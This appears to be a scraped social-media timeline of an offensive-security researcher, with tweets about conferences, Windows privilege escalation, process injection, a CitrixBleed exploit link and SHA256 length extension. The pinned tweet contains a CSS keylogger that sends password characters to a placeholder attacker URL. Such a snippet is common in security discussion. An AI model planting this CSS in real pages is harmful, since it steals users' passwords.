BS-free offensive security tweets. I host @secTalksNL & @securityCTF. Strong exploit dev fetish. Baker of 0days.

Joined December 2016
613 Photos and videos
Pinned Tweet
12 Nov 2022
magic: CSS keylogger   <style> input[type="password"][value$="a"] {  background-image: url("http[:]//evilurl[:]/a"); }   input[type="password"][value$="b"] {   background-image: url("http[:]//evilurl[:]/b"); } </style>
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May 22
Update: I just polished one of the community's favorite libraries on Windows Privilege Escalation for penetration testers and red teamers. Focused on practical attack paths & real-world privilege escalation techniques seen in my enterprise assessments. hacktivity.eu/windows-prives…
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14 May 2025
How are you interviewing your security tech candidates? #infosec
67% 1:1 In person or remote
0% some Ai tool
33% give them a challenge
0% other (please tell me)
6 votes • Final results
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؜ retweeted
15 Oct 2024
New Blog Alert! 🚨 Introducing Early Cascade Injection, a stealthy process injection technique that targets Windows process creation, avoids cross-process APCs, and evades top-tier EDRs. Learn how it combines Early Bird APC Injection & EDR-Preloading: outflank.nl/blog/2024/10/15/…
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15 Oct 2024
Uh-oh just heard about @BSidesLisbon and I really want to go! Anyone not going to make it? I would love to take your ticket. #BSidesLisbon #Lisbon #infosecurity
It was incredible! The record was broken. Less than 24h and the tickets are sold out! See you all in November! (Yes, there will be a much smaller number of tickets available at a later time).
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14 Nov 2023
14 Nov 2023
also if you are in #Riyadh this week come say hi @Blackhatmea ☝🏼 #blackhatmea #blackhat2023 hi
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14 Nov 2023
also if you are in #Riyadh this week come say hi @Blackhatmea ☝🏼 #blackhatmea #blackhat2023 hi
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14 Nov 2023
mmm @Infoblox please activate your windows and get the latest updates before someone pwn this bot @Blackhatmea #blackhatmea #blackhat2023
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31 Oct 2023
quick CVE-2023-4966 PoC / exploit: github.com/assetnote/exploit… #citrixbleed
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18 Oct 2023
I always wandered… eSIM as c2 communication channel @hack_lu #hacklu
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18 Oct 2023
had to do it ~ @hack_lu love this con. good to be back <3 #hacklu #hacklu23 #hacklu2023
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26 May 2023
Attacking SHA256 Signatures: SHA256's vulnerability against length extension attacks: kerkour.com/sha256-length-ex… The POC (in GO): github.com/skerkour/kerkour.… #cryptography #infosec

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10 May 2023
Use @CriminalIP_US (criminalip .io) 🔎to prevent any phishing attempts targeting you, It works by searching for any IP or URL to check for reputation.
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8 May 2023
update: #HackLU is coming back to life in October 2023. See you in Luxembourg?
9 Nov 2022
i miss @hack_lu; hope it comes back to life once again 🤞🏻
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4 May 2023
what are other ways to execute rundll32 if I cannot launch it with explorer.exe? #hacking #redteam
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30 Mar 2023
wow I didn't know you can create soft links in Windows too... cmd > mklink /D Link Target
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12 Mar 2023
don't leave me with computers alone #ChatGPT
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